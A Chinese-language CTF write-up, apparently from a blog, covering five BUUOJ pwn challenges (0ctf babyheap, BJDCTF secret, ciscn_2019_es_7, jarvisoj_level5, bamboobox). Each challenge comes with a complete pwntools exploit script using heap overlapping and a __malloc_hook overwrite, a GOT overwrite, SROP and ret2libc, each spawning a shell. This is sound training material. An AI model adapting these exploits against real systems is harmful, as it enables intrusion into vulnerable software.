buuoj Pwn writeup 76-80

76 0ctf_2017_babyheap

保护

buuoj Pwn writeup 76-80菜单堆。

buuoj Pwn writeup 76-80
allocate

buuoj Pwn writeup 76-80堆的结构很明显了。要注意的是flag是四个字节。

fill
buuoj Pwn writeup 76-80又是输入大小可以随便写。
又可以溢出。

free
buuoj Pwn writeup 76-80free的还是很干净的。

dump
buuoj Pwn writeup 76-80平平无奇输出函数。

那么我们首先要考虑泄露libc的地址。泄露地址的方法只能去考虑unsorted bin,因为有溢出,可以完全仿照off by one,来制造overlapping,然后泄露地址啊,攻击malloc_hook,就下来了。

先来申请四个chunk。然后通过栈溢出改变chunk1的大小,然后释放掉,知道overlapping,再申请回来,manera地址就去了chunk2,并且此时chunk2被overlapping,没有释放,可以控制,而且在bins里面,调整他,让它进入fastbin,然后控制fd,攻击malloc_hook,从而get shell。

exp

# -*- coding: utf-8 -*-
from pwn import *

#r = remote('node3.buuoj.cn',29443)
r = process('./76')

context.log_level = "debug"

elf = ELF('./76')
libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
one_gadget = 0x4526a

def allocate(size):
    r.sendlineafter("Command: ", "1")
    r.sendlineafter("Size: ", str(size))
    
def fill(index, size, content):
    r.sendlineafter("Command: ", "2")
    r.sendlineafter("Index: ", str(index))
    r.sendlineafter("Size: ", str(size))
    r.sendafter("Content: ", content)
#这里的输入用的是read,防止'\n'对程序的影响,这里就直接send

def free(index):
    r.sendlineafter("Command: ", "3")
    r.sendlineafter("Index: ", str(index))

def dump(index):
    r.sendlineafter("Command: ", "4")
    r.sendlineafter("Index: ", str(index))

one_gadget = 0x4526a

allocate(0x60) #0
allocate(0x60) #1
allocate(0x60) #2
allocate(0x60) #3

payload = 'a' * 0x60 + p64(0) + '\xe1'

fill(0, 0x69, payload)
free(1)

allocate(0x60) #1
dump(2)

r.recvuntil("Content: \n")

malloc_hook = (u64(r.recv(6).ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget

print hex(malloc_hook)
print hex(libc_base)

allocate(0x60) #4
free(4)

payload = p64(malloc_hook - 0x23)
fill(2, 8, payload)

allocate(0x60) #4
allocate(0x60) #5

payload = 'a' * 0x13 + p64(one_gadget) 
fill(5, len(payload), payload)

gdb.attach(r)

r.sendlineafter("Command: ", "1")
r.sendlineafter("Size: ", "32")

r.interactive()

77 [BJDCTF 2nd]secret

保护

buuoj Pwn writeup 76-80
buuoj Pwn writeup 76-80

buuoj Pwn writeup 76-80
这里有个判断,会退出程序。

但是判断条件是什么反编译不出来,因为太长了。这也是第一次见。

buuoj Pwn writeup 76-80那就得看汇编。

buuoj Pwn writeup 76-80会发现这里面的东西,都是一个逻辑。
他会做比较,把40d68c地方的东西拿出来跟它那些数字做比较,比较成功,会进入下一个比较,不然就直接返回-1,然后执行退出的程序。都比较过了之后,就返回0,然后执行cat flag。但是你会发现,它有10000个数字,那显然这正路就没了。

buuoj Pwn writeup 76-80
那么我们发现这里有个溢出,通过这个溢出我们能控制些什么呢?

buuoj Pwn writeup 76-80
46d090,这里放着的是你还需要猜的次数。

buuoj Pwn writeup 76-80
buuoj Pwn writeup 76-80

然后发现,printf的got表跟system的离得很近……
这说实话我也是参考别人的wp,这他是咋发现的……

那我们就通过溢出,把那个地方的值改成printf的got表地址,然后开始答题,答对就减1,然后减减减,减去16之后,也就是答对15,答错1,然后就把printf的got改成了system的plt。
我直呼好家伙。

#coding:utf8
from pwn import *
 
r = remote('node3.buuoj.cn',25929)
elf = ELF('./77')
printf_got = elf.got['printf']
 
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
r.sendafter("What's your name?",payload)
for x in answer:
   r.sendlineafter('Secret:',str(x))
r.sendlineafter('Secret:','1')
 
r.interactive()

78 ciscn_2019_es_7

保护

buuoj Pwn writeup 76-80buuoj Pwn writeup 76-80平平无奇栈溢出。

buuoj Pwn writeup 76-80还给了gadgets

这0f系统调用的话是sigreturn,那么这道题很明显了,就是SROP。

因为通过SROP我们可以调用系统调用,execve,但是我们需要参数‘/bin/sh’,我们可以往栈里面输入这个字符串,但是我们需要泄露栈的地址,也就是泄露’/bin/sh’的地址。

我们发现下面有个write函数,那么思路就很明确了,先通过write,输出栈上的一些数据,从而获得栈的地址,然后通过SROP,来get shell。

buuoj Pwn writeup 76-80因为rsp那里我们要填返回地址进去,所以我们就泄露rsp+0x10的数据,泄露出来之后减去他们的之间的差值,就可以直接得到’/bin/sh’的地址。

from pwn import *
from LibcSearcher import * 

r = remote('node3.buuoj.cn', 29487)
elf = ELF('./3')

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

sigreturn = 0x4004DA # mov eax 0fh
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write]) #good!
#你会发现这里为什么read的地址跟平常我们写的在ebp之后不一样。
#这是因为这个函数调用规则不是我们平常的_cedel,这个函数最后一句直接就是retn,而我们平常见到的是level | ret

sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve 
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
#pwntools功能就是强大

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)

r.interactive()

79 jarvisoj_level5

保护

buuoj Pwn writeup 76-80
buuoj Pwn writeup 76-80平平无奇栈溢出。

from pwn import*

r=remote('node3.buuoj.cn',26822)
elf=ELF('./79')

libc = ELF('./64/libc-2.23.so')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1

write_got=elf.got['write']
write_plt=elf.plt['write']

payload='a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr)
r.recvuntil('\n')
r.sendline(payload)
write_addr=u64(r.recv(8))
print hex(write_addr)

libc_base = write_addr-libc.sym['write']

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()

payload='a'*(0x80+8)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
r.sendline(payload)
r.interactive()

问为什么那个地方r15传参也可以,那是因为调用write函数的时候rdx参数是0x200。

buuoj Pwn writeup 76-80

80 hitcontraining_bamboobox

保护
buuoj Pwn writeup 76-80

后门有了。
buuoj Pwn writeup 76-80
菜单堆

buuoj Pwn writeup 76-80增删改查,题应该不难。

buuoj Pwn writeup 76-80
在程序开始之前有一段初始化。

v4存着个地址,0x10的数组,然后里面两个函数地址,一个输出开始信息,输出结束信息。

show
buuoj Pwn writeup 76-80平平无奇输出函数。

add

buuoj Pwn writeup 76-80
chunk的地址,跟大小都在bss段,划线处是一个明显的off by null。

change
buuoj Pwn writeup 76-80大小随便输入,就可以造成溢出。

remove
buuoj Pwn writeup 76-80平平无奇free函数,清理的也很到位。

那么经过我们分析,有两个漏洞点,一个off by one,一个溢出,但是我们其实仅仅利用那个溢出就好了。

利用溢出还是制造overlapping,然后泄露地址,然后直接攻击malloc_hook,把后门地址写上,还省得用realloc去抬栈。

但是失败了……gdb调试打不开那个文件,可能服务器没有吧,那就还是规规矩矩one_gadget吧。

buuoj Pwn writeup 76-80buuoj Pwn writeup 76-80rsp上方有个0,那么我们就通过realloc把栈抬起来。

buuoj Pwn writeup 76-80
假如我们现在要是去执行realloc+12的地方,那么最后执行完rsp + 30的地方就会是0,然后就好了。

exp

from pwn import*

r=remote('node3.buuoj.cn',25879)
#r = process('./80')
elf=ELF('./80')

libc = ELF('./64/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')

context.log_level = "debug"

def show():
    r.sendlineafter("Your choice:", "1")
    
def add(size, name):
    r.sendlineafter("Your choice:", "2")
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendlineafter("Please enter the name of item:", name)

def change(index, size, name):
    r.sendlineafter("Your choice:", "3")
    r.sendlineafter("Please enter the index of item:", str(index))
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendlineafter("Please enter the new name of the item:", name)

def remove(index):
    r.sendlineafter("Your choice:", "4")
    r.sendlineafter("Please enter the index of item:", str(index))

system_addr = 0x400d49
one_gadget = 0x4526a

add(0x60, 'aaaa') #0
add(0x60, 'bbbb') #1
add(0x60, 'cccc') #2
add(0x60, 'dddd') #3

payload = 'b' * 0x68 + '\xe1' 
change(0, 0x69, payload)
remove(1)

add(0x60, 'bbbb') #1
show()

r.recvuntil("2 : ")

malloc_hook = (u64(r.recv(6).ljust(8, '\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + one_gadget
#gdb.attach(r)

print hex(malloc_hook)
print hex(libc_base)

add(0x60, 'eeee') #4
remove(4)

payload = p64(malloc_hook - 0x23)
change(2, 8, payload)
add(0x60, 'eeee') #4

payload = 'e' * 0xb + p64(one_gadget) + p64(realloc + 12)
add(0x60, payload) #5

#gdb.attach(r)

r.sendlineafter("Your choice:", "2")
r.sendlineafter("Please enter the length of item name:", '60')

r.interactive()
上一篇:LeetCode 1550 Three Consecutive Odds Writeup


下一篇:【writeup】HACKME: 2靶机